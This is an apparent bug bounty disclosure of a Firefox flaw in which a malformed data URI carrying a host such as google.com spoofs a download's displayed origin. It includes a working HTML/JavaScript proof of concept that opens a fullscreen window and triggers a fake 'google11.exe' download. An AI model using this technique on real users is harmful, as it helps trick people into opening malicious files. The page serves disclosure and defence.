Download origin spoofing through malformed data uri with "host" information
A malformed data URI containing a host-like authority caused the browser to treat that authority as the download's origin, so the downloads menu showed a spoofed origin such as google.com. An attacker could use this to make a downloaded file appear to come from a trusted site.
Originally disclosed on Mozilla
- Fixed in 5 months
- Paid in 5 months
- Disclosed after 5 months
Created attachment 9493138 Screen Recording 2025-06-06 011130.mp4
By manipulating a malformed data uri it was possible to trigger a download and since download origin is taken as authority it extracts google.com and displays the origin in the downloads menu as such.
Proof of Concept:
Live URL: https://gojo-satorou-v7.github.io/chigorin/ Note: The live url downloads an apk but .exe works perfectly fine too.
Code:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Download & Fullscreen on Keypress</title>
</head>
<body>
<center><h2>POC by Chigorin!</h2></center>
<input type="text" id="triggerInput">
<script>
document.getElementById('triggerInput').addEventListener('click', function() {
// request fullscreen
setTimeout(function() {
openWin();
}, 500);
window.open('https://www.google.com', '_blank');
goFullScreen();
}, { once: false }); // Use { once: true } to ensure it only fires once
// Download helper
function Puf(uri, name) {
const link = document.createElement("a");
link.href = uri;
link.download = name;
document.body.appendChild(link);
link.click();
document.body.removeChild(link);
}
// Kick off your “APK” download
function openWin() {
Puf(
"data://google.com/application/x-msdownload;base64,ZXN0dGVzdGVzdHRlc3Q=",
"google11.exe"
);
}
function goFullScreen() {
const element = document.documentElement;
if (element.requestFullscreen) {
element.requestFullscreen();
} else if (element.mozRequestFullScreen) { // Firefox
element.mozRequestFullScreen();
} else if (element.webkitRequestFullscreen) { // Chrome, Safari and Opera
element.webkitRequestFullscreen();
} else if (element.msRequestFullscreen) { // IE/Edge
element.msRequestFullscreen();
}
}
</script>
</body>
</html>
Bisect information:
The vulnerability was introduced in version 127.0 and works till latest version. (Stable) It also works in the latest version of dev.
Mitigation:
- You cannot disable a download because of malformed data uri since rfc 2045 restricts and says any malformed data uri should be allowed to work fine and just fallback to text/plain.
- What you can do instead is check for authority in the malformed data uri and restrict the download if it's found.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the browser parsed the malformed data URI's authority component and used it as the download origin without validating that it matched the actual source.
Impact
A downloaded file could be displayed with a trusted site's origin, which may mislead users into opening it; the report does not show code execution or any further compromise.
What the attacker needed
Victim clicks a crafted link; browser version 127.0 or later
The fix
The browser should check for an authority in a malformed data URI and refuse the download when one is present.
How it was found
- Open the proof-of-concept page in the browser.
- Click the input field, which opens a new window and requests fullscreen.
- A download is triggered from a malformed data URI with a host-like authority.
- Check the downloads menu and observe the spoofed origin shown for the file.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
When you download a file, the browser usually shows where it came from so you can judge whether to trust it. Here, a specially crafted link tricked the browser into showing a well-known website as the source even though the file did not come from there. That could fool someone into opening a harmful file.
What is Info disclosure?
Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.